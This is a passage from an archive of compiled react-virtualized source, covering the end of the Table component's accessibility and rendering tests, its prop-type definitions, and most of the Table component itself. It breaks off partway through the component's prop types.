      var cell = rendered.querySelector('.ReactVirtualized__Table__rowColumn');
      expect(cell.getAttribute('role')).toEqual('gridcell');
    });
    it('should set aria colindex on a cell', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var cells = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn');
      expect(cells[0].getAttribute('aria-colindex')).toEqual('1');
      expect(cells[1].getAttribute('aria-colindex')).toEqual('2');
    });
    it('should set aria-describedby on a cell when the column has an id', function () {
      var columnID = 'column-header-test';
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnID: columnID
      })));
      var cell = rendered.querySelector('.ReactVirtualized__Table__rowColumn');
      expect(cell.getAttribute('aria-describedby')).toEqual(columnID);
    });
    it('should attach a11y properties to a row if :onRowClick is specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowClick: function onRowClick() {}
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__row');
      expect(row.getAttribute('aria-label')).toEqual('row');
      expect(row.tabIndex).toEqual(0);
    });
    it('should not attach a11y properties to a row if no :onRowClick is specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowClick: null
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__row');
      expect(row.getAttribute('aria-label')).toEqual(null);
      expect(row.tabIndex).toEqual(-1);
    });
    it('should set aria role on a header column', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('role')).toEqual('columnheader');
    });
    it('should set aria-sort ascending on a header column if the column is sorted ascending', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        sortBy: 'name',
        sortDirection: _SortDirection["default"].ASC
      })));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('aria-sort')).toEqual('ascending');
    });
    it('should set aria-sort descending on a header column if the column is sorted descending', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        sortBy: 'name',
        sortDirection: _SortDirection["default"].DESC
      })));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('aria-sort')).toEqual('descending');
    });
    it('should set aria-sort to "none" if the column is sortable but not the current sort', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        disableSort: true,
        sort: jest.fn()
      })));
      var headers = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn'); // the first column is not sortable

      expect(headers[0].getAttribute('aria-sort')).toBe(null); // the second column is sortable

      expect(headers[1].getAttribute('aria-sort')).toEqual('none');
    });
    it('should set id on a header column when the column has an id', function () {
      var columnID = 'column-header-test';
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnID: columnID
      })));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('id')).toEqual(columnID);
    });
    it('should attach a11y properties to a header column if sort is enabled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        disableSort: false,
        sort: function sort() {}
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(row.getAttribute('aria-label')).toEqual('Name');
      expect(row.tabIndex).toEqual(0);
    });
    it('should not attach a11y properties to a header column if sort is not enabled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        disableSort: true
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(row.getAttribute('aria-label')).toEqual(null);
      expect(row.tabIndex).toEqual(-1);
    });
  });
  describe('tabIndex', function () {
    it('should be focusable by default', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.querySelector('.ReactVirtualized__Grid').tabIndex).toEqual(0);
    });
    it('should allow tabIndex to be overridden', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        tabIndex: -1
      })));
      expect(rendered.querySelector('.ReactVirtualized__Grid').tabIndex).toEqual(-1);
    });
  });
  describe('pure', function () {
    it('should not re-render unless props have changed', function () {
      var headerRendererCalled = false;
      var cellRendererCalled = false;

      function headerRenderer() {
        headerRendererCalled = true;
        return 'foo';
      }

      function cellRenderer() {
        cellRendererCalled = true;
        return 'foo';
      }

      var markup = getMarkup({
        headerRenderer: headerRenderer,
        cellRenderer: cellRenderer
      });
      (0, _TestUtils.render)(markup);
      expect(headerRendererCalled).toEqual(true);
      expect(cellRendererCalled).toEqual(true);
      headerRendererCalled = false;
      cellRendererCalled = false;
      (0, _TestUtils.render)(markup);
      expect(headerRendererCalled).toEqual(false);
      expect(cellRendererCalled).toEqual(false);
    });
    it('should re-render both the Table and the inner Grid whenever an external property changes', function () {
      var headerRendererCalled = false;
      var cellRendererCalled = false;

      function headerRenderer() {
        headerRendererCalled = true;
        return 'foo';
      }

      function cellRenderer() {
        cellRendererCalled = true;
        return 'foo';
      }

      var initialProperties = {
        autoHeight: false,
        cellRenderer: cellRenderer,
        estimatedRowSize: 15,
        headerRenderer: headerRenderer,
        overscanRowCount: 1,
        rowHeight: 15,
        rowCount: 20,
        scrollToAlignment: 'auto',
        scrollTop: 0,
        sortBy: 'name',
        sortDirection: _SortDirection["default"].ASC,
        tabIndex: null
      };
      var changedProperties = {
        autoHeight: true,
        estimatedRowSize: 10,
        overscanRowCount: 0,
        rowHeight: 10,
        rowCount: 10,
        scrollToAlignment: 'center',
        scrollTop: 1,
        sortBy: 'email',
        sortDirection: _SortDirection["default"].DESC,
        tabIndex: 1
      };
      Object.entries(changedProperties).forEach(function (_ref17) {
        var _ref18 = (0, _slicedToArray2["default"])(_ref17, 2),
            key = _ref18[0],
            value = _ref18[1];

        _TestUtils.render.unmount(); // Reset


        (0, _TestUtils.render)(getMarkup(initialProperties));
        headerRendererCalled = true;
        cellRendererCalled = false;
        (0, _TestUtils.render)(getMarkup(_objectSpread({}, initialProperties, (0, _defineProperty2["default"])({}, key, value))));
        expect(headerRendererCalled).toEqual(true);
        expect(cellRendererCalled).toEqual(true);
      });
    });
  });
  it('should set the width of the single-column inner Grid to auto', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
    expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('auto');
  });
  it('should relay the Grid :parent param to the Column :cellRenderer', function () {
    var cellRenderer = jest.fn().mockReturnValue(null);
    (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      cellRenderer: cellRenderer
    })));
    expect(cellRenderer.mock.calls[0][0].parent).not.toBeUndefined();
  });
});commonjs/Table/types.js000064400000011024151677406000011126 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_RowRendererParams = exports.bpfrpt_proptype_HeaderRendererParams = exports.bpfrpt_proptype_HeaderRowRendererParams = exports.bpfrpt_proptype_CellRendererParams = exports.bpfrpt_proptype_CellDataGetterParams = void 0;

var _propTypes = _interopRequireDefault(require("prop-types"));

var bpfrpt_proptype_CellDataGetterParams = process.env.NODE_ENV === 'production' ? null : {
  "columnData": _propTypes["default"].any,
  "dataKey": _propTypes["default"].string.isRequired,
  "rowData": function rowData(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }
};
exports.bpfrpt_proptype_CellDataGetterParams = bpfrpt_proptype_CellDataGetterParams;
var bpfrpt_proptype_CellRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "cellData": _propTypes["default"].any,
  "columnData": _propTypes["default"].any,
  "dataKey": _propTypes["default"].string.isRequired,
  "rowData": function rowData(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "rowIndex": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_CellRendererParams = bpfrpt_proptype_CellRendererParams;
var bpfrpt_proptype_HeaderRowRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "className": _propTypes["default"].string.isRequired,
  "columns": _propTypes["default"].arrayOf(function (props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }).isRequired,
  "style": function style(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }
};
exports.bpfrpt_proptype_HeaderRowRendererParams = bpfrpt_proptype_HeaderRowRendererParams;
var bpfrpt_proptype_HeaderRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "columnData": _propTypes["default"].any,
  "dataKey": _propTypes["default"].string.isRequired,
  "disableSort": _propTypes["default"].bool,
  "label": _propTypes["default"].any,
  "sortBy": _propTypes["default"].string,
  "sortDirection": _propTypes["default"].string
};
exports.bpfrpt_proptype_HeaderRendererParams = bpfrpt_proptype_HeaderRendererParams;
var bpfrpt_proptype_RowRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "className": _propTypes["default"].string.isRequired,
  "columns": _propTypes["default"].arrayOf(function (props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }).isRequired,
  "index": _propTypes["default"].number.isRequired,
  "isScrolling": _propTypes["default"].bool.isRequired,
  "onRowClick": _propTypes["default"].func,
  "onRowDoubleClick": _propTypes["default"].func,
  "onRowMouseOver": _propTypes["default"].func,
  "onRowMouseOut": _propTypes["default"].func,
  "rowData": function rowData(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "style": function style(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "key": _propTypes["default"].string.isRequired
};
exports.bpfrpt_proptype_RowRendererParams = bpfrpt_proptype_RowRendererParams;commonjs/Table/Table.js000064400000070236151677406000011023 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _clsx = _interopRequireDefault(require("clsx"));

var _Column = _interopRequireDefault(require("./Column"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _Grid2 = _interopRequireWildcard(require("../Grid"));

var _defaultRowRenderer = _interopRequireDefault(require("./defaultRowRenderer"));

var _defaultHeaderRowRenderer = _interopRequireDefault(require("./defaultHeaderRowRenderer"));

var _SortDirection = _interopRequireDefault(require("./SortDirection"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

/**
 * Table component with fixed headers and virtualized rows for improved performance with large data sets.
 * This component expects explicit width, height, and padding parameters.
 */
var Table =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(Table, _React$PureComponent);

  function Table(props) {
    var _this;

    (0, _classCallCheck2["default"])(this, Table);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(Table).call(this, props));
    _this.state = {
      scrollbarWidth: 0
    };
    _this._createColumn = _this._createColumn.bind((0, _assertThisInitialized2["default"])(_this));
    _this._createRow = _this._createRow.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onScroll = _this._onScroll.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onSectionRendered = _this._onSectionRendered.bind((0, _assertThisInitialized2["default"])(_this));
    _this._setRef = _this._setRef.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(Table, [{
    key: "forceUpdateGrid",
    value: function forceUpdateGrid() {
      if (this.Grid) {
        this.Grid.forceUpdate();
      }
    }
    /** See Grid#getOffsetForCell */

  }, {
    key: "getOffsetForRow",
    value: function getOffsetForRow(_ref) {
      var alignment = _ref.alignment,
          index = _ref.index;

      if (this.Grid) {
        var _this$Grid$getOffsetF = this.Grid.getOffsetForCell({
          alignment: alignment,
          rowIndex: index
        }),
            scrollTop = _this$Grid$getOffsetF.scrollTop;

        return scrollTop;
      }

      return 0;
    }
    /** CellMeasurer compatibility */

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref2) {
      var columnIndex = _ref2.columnIndex,
          rowIndex = _ref2.rowIndex;

      if (this.Grid) {
        this.Grid.invalidateCellSizeAfterRender({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#measureAllCells */

  }, {
    key: "measureAllRows",
    value: function measureAllRows() {
      if (this.Grid) {
        this.Grid.measureAllCells();
      }
    }
    /** CellMeasurer compatibility */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref3 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref3$columnIndex = _ref3.columnIndex,
          columnIndex = _ref3$columnIndex === void 0 ? 0 : _ref3$columnIndex,
          _ref3$rowIndex = _ref3.rowIndex,
          rowIndex = _ref3$rowIndex === void 0 ? 0 : _ref3$rowIndex;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#recomputeGridSize */

  }, {
    key: "recomputeRowHeights",
    value: function recomputeRowHeights() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: index
        });
      }
    }
    /** See Grid#scrollToPosition */

  }, {
    key: "scrollToPosition",
    value: function scrollToPosition() {
      var scrollTop = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToPosition({
          scrollTop: scrollTop
        });
      }
    }
    /** See Grid#scrollToCell */

  }, {
    key: "scrollToRow",
    value: function scrollToRow() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToCell({
          columnIndex: 0,
          rowIndex: index
        });
      }
    }
  }, {
    key: "getScrollbarWidth",
    value: function getScrollbarWidth() {
      if (this.Grid) {
        var _Grid = (0, _reactDom.findDOMNode)(this.Grid);

        var clientWidth = _Grid.clientWidth || 0;
        var offsetWidth = _Grid.offsetWidth || 0;
        return offsetWidth - clientWidth;
      }

      return 0;
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      this._setScrollbarWidth();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate() {
      this._setScrollbarWidth();
    }
  }, {
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$props = this.props,
          children = _this$props.children,
          className = _this$props.className,
          disableHeader = _this$props.disableHeader,
          gridClassName = _this$props.gridClassName,
          gridStyle = _this$props.gridStyle,
          headerHeight = _this$props.headerHeight,
          headerRowRenderer = _this$props.headerRowRenderer,
          height = _this$props.height,
          id = _this$props.id,
          noRowsRenderer = _this$props.noRowsRenderer,
          rowClassName = _this$props.rowClassName,
          rowStyle = _this$props.rowStyle,
          scrollToIndex = _this$props.scrollToIndex,
          style = _this$props.style,
          width = _this$props.width;
      var scrollbarWidth = this.state.scrollbarWidth;
      var availableRowsHeight = disableHeader ? height : height - headerHeight;
      var rowClass = typeof rowClassName === 'function' ? rowClassName({
        index: -1
      }) : rowClassName;
      var rowStyleObject = typeof rowStyle === 'function' ? rowStyle({
        index: -1
      }) : rowStyle; // Precompute and cache column styles before rendering rows and columns to speed things up

      this._cachedColumnStyles = [];
      React.Children.toArray(children).forEach(function (column, index) {
        var flexStyles = _this2._getFlexStyleForColumn(column, column.props.style);

        _this2._cachedColumnStyles[index] = _objectSpread({
          overflow: 'hidden'
        }, flexStyles);
      }); // Note that we specify :rowCount, :scrollbarWidth, :sortBy, and :sortDirection as properties on Grid even though these have nothing to do with Grid.
      // This is done because Grid is a pure component and won't update unless its properties or state has changed.
      // Any property that should trigger a re-render of Grid then is specified here to avoid a stale display.

      return React.createElement("div", {
        "aria-label": this.props['aria-label'],
        "aria-labelledby": this.props['aria-labelledby'],
        "aria-colcount": React.Children.toArray(children).length,
        "aria-rowcount": this.props.rowCount,
        className: (0, _clsx["default"])('ReactVirtualized__Table', className),
        id: id,
        role: "grid",
        style: style
      }, !disableHeader && headerRowRenderer({
        className: (0, _clsx["default"])('ReactVirtualized__Table__headerRow', rowClass),
        columns: this._getHeaderColumns(),
        style: _objectSpread({
          height: headerHeight,
          overflow: 'hidden',
          paddingRight: scrollbarWidth,
          width: width
        }, rowStyleObject)
      }), React.createElement(_Grid2["default"], (0, _extends2["default"])({}, this.props, {
        "aria-readonly": null,
        autoContainerWidth: true,
        className: (0, _clsx["default"])('ReactVirtualized__Table__Grid', gridClassName),
        cellRenderer: this._createRow,
        columnWidth: width,
        columnCount: 1,
        height: availableRowsHeight,
        id: undefined,
        noContentRenderer: noRowsRenderer,
        onScroll: this._onScroll,
        onSectionRendered: this._onSectionRendered,
        ref: this._setRef,
        role: "rowgroup",
        scrollbarWidth: scrollbarWidth,
        scrollToRow: scrollToIndex,
        style: _objectSpread({}, gridStyle, {
          overflowX: 'hidden'
        })
      })));
    }
  }, {
    key: "_createColumn",
    value: function _createColumn(_ref4) {
      var column = _ref4.column,
          columnIndex = _ref4.columnIndex,
          isScrolling = _ref4.isScrolling,
          parent = _ref4.parent,
          rowData = _ref4.rowData,
          rowIndex = _ref4.rowIndex;
      var onColumnClick = this.props.onColumnClick;
      var _column$props = column.props,
          cellDataGetter = _column$props.cellDataGetter,
          cellRenderer = _column$props.cellRenderer,
          className = _column$props.className,
          columnData = _column$props.columnData,
          dataKey = _column$props.dataKey,
          id = _column$props.id;
      var cellData = cellDataGetter({
        columnData: columnData,
        dataKey: dataKey,
        rowData: rowData
      });
      var renderedCell = cellRenderer({
        cellData: cellData,
        columnData: columnData,
        columnIndex: columnIndex,
        dataKey: dataKey,
        isScrolling: isScrolling,
        parent: parent,
        rowData: rowData,
        rowIndex: rowIndex
      });

      var onClick = function onClick(event) {
        onColumnClick && onColumnClick({
          columnData: columnData,
          dataKey: dataKey,
          event: event
        });
      };

      var style = this._cachedColumnStyles[columnIndex];
      var title = typeof renderedCell === 'string' ? renderedCell : null; // Avoid using object-spread syntax with multiple objects here,
      // Since it results in an extra method call to 'babel-runtime/helpers/extends'
      // See PR https://github.com/bvaughn/react-virtualized/pull/942

      return React.createElement("div", {
        "aria-colindex": columnIndex + 1,
        "aria-describedby": id,
        className: (0, _clsx["default"])('ReactVirtualized__Table__rowColumn', className),
        key: 'Row' + rowIndex + '-' + 'Col' + columnIndex,
        onClick: onClick,
        role: "gridcell",
        style: style,
        title: title
      }, renderedCell);
    }
  }, {
    key: "_createHeader",
    value: function _createHeader(_ref5) {
      var column = _ref5.column,
          index = _ref5.index;
      var _this$props2 = this.props,
          headerClassName = _this$props2.headerClassName,
          headerStyle = _this$props2.headerStyle,
          onHeaderClick = _this$props2.onHeaderClick,
          sort = _this$props2.sort,
          sortBy = _this$props2.sortBy,
          sortDirection = _this$props2.sortDirection;
      var _column$props2 = column.props,
          columnData = _column$props2.columnData,
          dataKey = _column$props2.dataKey,
          defaultSortDirection = _column$props2.defaultSortDirection,
          disableSort = _column$props2.disableSort,
          headerRenderer = _column$props2.headerRenderer,
          id = _column$props2.id,
          label = _column$props2.label;
      var sortEnabled = !disableSort && sort;
      var classNames = (0, _clsx["default"])('ReactVirtualized__Table__headerColumn', headerClassName, column.props.headerClassName, {
        ReactVirtualized__Table__sortableHeaderColumn: sortEnabled
      });

      var style = this._getFlexStyleForColumn(column, _objectSpread({}, headerStyle, {}, column.props.headerStyle));

      var renderedHeader = headerRenderer({
        columnData: columnData,
        dataKey: dataKey,
        disableSort: disableSort,
        label: label,
        sortBy: sortBy,
        sortDirection: sortDirection
      });
      var headerOnClick, headerOnKeyDown, headerTabIndex, headerAriaSort, headerAriaLabel;

      if (sortEnabled || onHeaderClick) {
        // If this is a sortable header, clicking it should update the table data's sorting.
        var isFirstTimeSort = sortBy !== dataKey; // If this is the firstTime sort of this column, use the column default sort order.
        // Otherwise, invert the direction of the sort.

        var newSortDirection = isFirstTimeSort ? defaultSortDirection : sortDirection === _SortDirection["default"].DESC ? _SortDirection["default"].ASC : _SortDirection["default"].DESC;

        var onClick = function onClick(event) {
          sortEnabled && sort({
            defaultSortDirection: defaultSortDirection,
            event: event,
            sortBy: dataKey,
            sortDirection: newSortDirection
          });
          onHeaderClick && onHeaderClick({
            columnData: columnData,
            dataKey: dataKey,
            event: event
          });
        };

        var onKeyDown = function onKeyDown(event) {
          if (event.key === 'Enter' || event.key === ' ') {
            onClick(event);
          }
        };

        headerAriaLabel = column.props['aria-label'] || label || dataKey;
        headerAriaSort = 'none';
        headerTabIndex = 0;
        headerOnClick = onClick;
        headerOnKeyDown = onKeyDown;
      }

      if (sortBy === dataKey) {
        headerAriaSort = sortDirection === _SortDirection["default"].ASC ? 'ascending' : 'descending';
      } // Avoid using object-spread syntax with multiple objects here,
      // Since it results in an extra method call to 'babel-runtime/helpers/extends'
      // See PR https://github.com/bvaughn/react-virtualized/pull/942


      return React.createElement("div", {
        "aria-label": headerAriaLabel,
        "aria-sort": headerAriaSort,
        className: classNames,
        id: id,
        key: 'Header-Col' + index,
        onClick: headerOnClick,
        onKeyDown: headerOnKeyDown,
        role: "columnheader",
        style: style,
        tabIndex: headerTabIndex
      }, renderedHeader);
    }
  }, {
    key: "_createRow",
    value: function _createRow(_ref6) {
      var _this3 = this;

      var index = _ref6.rowIndex,
          isScrolling = _ref6.isScrolling,
          key = _ref6.key,
          parent = _ref6.parent,
          style = _ref6.style;
      var _this$props3 = this.props,
          children = _this$props3.children,
          onRowClick = _this$props3.onRowClick,
          onRowDoubleClick = _this$props3.onRowDoubleClick,
          onRowRightClick = _this$props3.onRowRightClick,
          onRowMouseOver = _this$props3.onRowMouseOver,
          onRowMouseOut = _this$props3.onRowMouseOut,
          rowClassName = _this$props3.rowClassName,
          rowGetter = _this$props3.rowGetter,
          rowRenderer = _this$props3.rowRenderer,
          rowStyle = _this$props3.rowStyle;
      var scrollbarWidth = this.state.scrollbarWidth;
      var rowClass = typeof rowClassName === 'function' ? rowClassName({
        index: index
      }) : rowClassName;
      var rowStyleObject = typeof rowStyle === 'function' ? rowStyle({
        index: index
      }) : rowStyle;
      var rowData = rowGetter({
        index: index
      });
      var columns = React.Children.toArray(children).map(function (column, columnIndex) {
        return _this3._createColumn({
          column: column,
          columnIndex: columnIndex,
          isScrolling: isScrolling,
          parent: parent,
          rowData: rowData,
          rowIndex: index,
          scrollbarWidth: scrollbarWidth
        });
      });
      var className = (0, _clsx["default"])('ReactVirtualized__Table__row', rowClass);

      var flattenedStyle = _objectSpread({}, style, {
        height: this._getRowHeight(index),
        overflow: 'hidden',
        paddingRight: scrollbarWidth
      }, rowStyleObject);

      return rowRenderer({
        className: className,
        columns: columns,
        index: index,
        isScrolling: isScrolling,
        key: key,
        onRowClick: onRowClick,
        onRowDoubleClick: onRowDoubleClick,
        onRowRightClick: onRowRightClick,
        onRowMouseOver: onRowMouseOver,
        onRowMouseOut: onRowMouseOut,
        rowData: rowData,
        style: flattenedStyle
      });
    }
    /**
     * Determines the flex-shrink, flex-grow, and width values for a cell (header or column).
     */

  }, {
    key: "_getFlexStyleForColumn",
    value: function _getFlexStyleForColumn(column) {
      var customStyle = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
      var flexValue = "".concat(column.props.flexGrow, " ").concat(column.props.flexShrink, " ").concat(column.props.width, "px");

      var style = _objectSpread({}, customStyle, {
        flex: flexValue,
        msFlex: flexValue,
        WebkitFlex: flexValue
      });

      if (column.props.maxWidth) {
        style.maxWidth = column.props.maxWidth;
      }

      if (column.props.minWidth) {
        style.minWidth = column.props.minWidth;
      }

      return style;
    }
  }, {
    key: "_getHeaderColumns",
    value: function _getHeaderColumns() {
      var _this4 = this;

      var _this$props4 = this.props,
          children = _this$props4.children,
          disableHeader = _this$props4.disableHeader;
      var items = disableHeader ? [] : React.Children.toArray(children);
      return items.map(function (column, index) {
        return _this4._createHeader({
          column: column,
          index: index
        });
      });
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(rowIndex) {
      var rowHeight = this.props.rowHeight;
      return typeof rowHeight === 'function' ? rowHeight({
        index: rowIndex
      }) : rowHeight;
    }
  }, {
    key: "_onScroll",
    value: function _onScroll(_ref7) {
      var clientHeight = _ref7.clientHeight,
          scrollHeight = _ref7.scrollHeight,
          scrollTop = _ref7.scrollTop;
      var onScroll = this.props.onScroll;
      onScroll({
        clientHeight: clientHeight,
        scrollHeight: scrollHeight,
        scrollTop: scrollTop
      });
    }
  }, {
    key: "_onSectionRendered",
    value: function _onSectionRendered(_ref8) {
      var rowOverscanStartIndex = _ref8.rowOverscanStartIndex,
          rowOverscanStopIndex = _ref8.rowOverscanStopIndex,
          rowStartIndex = _ref8.rowStartIndex,
          rowStopIndex = _ref8.rowStopIndex;
      var onRowsRendered = this.props.onRowsRendered;
      onRowsRendered({
        overscanStartIndex: rowOverscanStartIndex,
        overscanStopIndex: rowOverscanStopIndex,
        startIndex: rowStartIndex,
        stopIndex: rowStopIndex
      });
    }
  }, {
    key: "_setRef",
    value: function _setRef(ref) {
      this.Grid = ref;
    }
  }, {
    key: "_setScrollbarWidth",
    value: function _setScrollbarWidth() {
      var scrollbarWidth = this.getScrollbarWidth();
      this.setState({
        scrollbarWidth: scrollbarWidth
      });
    }
  }]);
  return Table;
}(React.PureComponent);

exports["default"] = Table;
(0, _defineProperty2["default"])(Table, "defaultProps", {
  disableHeader: false,
  estimatedRowSize: 30,
  headerHeight: 0,
  headerStyle: {},
  noRowsRenderer: function noRowsRenderer() {
    return null;
  },
  onRowsRendered: function onRowsRendered() {
    return null;
  },
  onScroll: function onScroll() {
    return null;
  },
  overscanIndicesGetter: _Grid2.accessibilityOverscanIndicesGetter,
  overscanRowCount: 10,
  rowRenderer: _defaultRowRenderer["default"],
  headerRowRenderer: _defaultHeaderRowRenderer["default"],
  rowStyle: {},
  scrollToAlignment: 'auto',
  scrollToIndex: -1,
  style: {}
});
Table.propTypes = process.env.NODE_ENV !== "production" ? {
  /** This is just set on the grid top element. */
  'aria-label': _propTypes["default"].string,

  /** This is just set on the grid top element. */
  'aria-labelledby': _propTypes["default"].string,

  /**
   * Removes fixed height from the scrollingContainer so that the total height
   * of rows can stretch the window. Intended for use with WindowScroller
   */
  autoHeight: _propTypes["default"].bool,

  /** One or more Columns describing the data displayed in this row */
  children: function children(props) {
    var children = React.Children.toArray(props.children);

    for (var i = 0; i < children.length; i++) {
      var childType = children[i].type;

      if (childType !== _Column["default"] && !(childType.prototype instanceof _Column["default"])) {
        return new Error('Table only accepts children of type Column');
      }
    }
  },

  /** Optional CSS class name */
  className: _propTypes["default"].string,

  /** Disable rendering the header at all */
  disableHeader: _propTypes["default"].bool,

  /**
   * Used to estimate the total height of a Table before all of its rows have actually been measured.
   * The estimated total height is adjusted as rows are rendered.
   */
  estimatedRowSize: _propTypes["default"].number.isRequired,

  /** Optional custom CSS class name to attach to inner Grid element. */
  gridClassName: _propTypes["default"].string,

  /** Optional inline style to attach to inner Grid element. */
  gridStyle: _propTypes["default"].object,

  /** Optional CSS class to apply to all column headers */
  headerClassName: _propTypes["default"].string,

  /** Fixed height of header row */
  headerHeight: _propTypes["default"].number.isRequired,

  /**
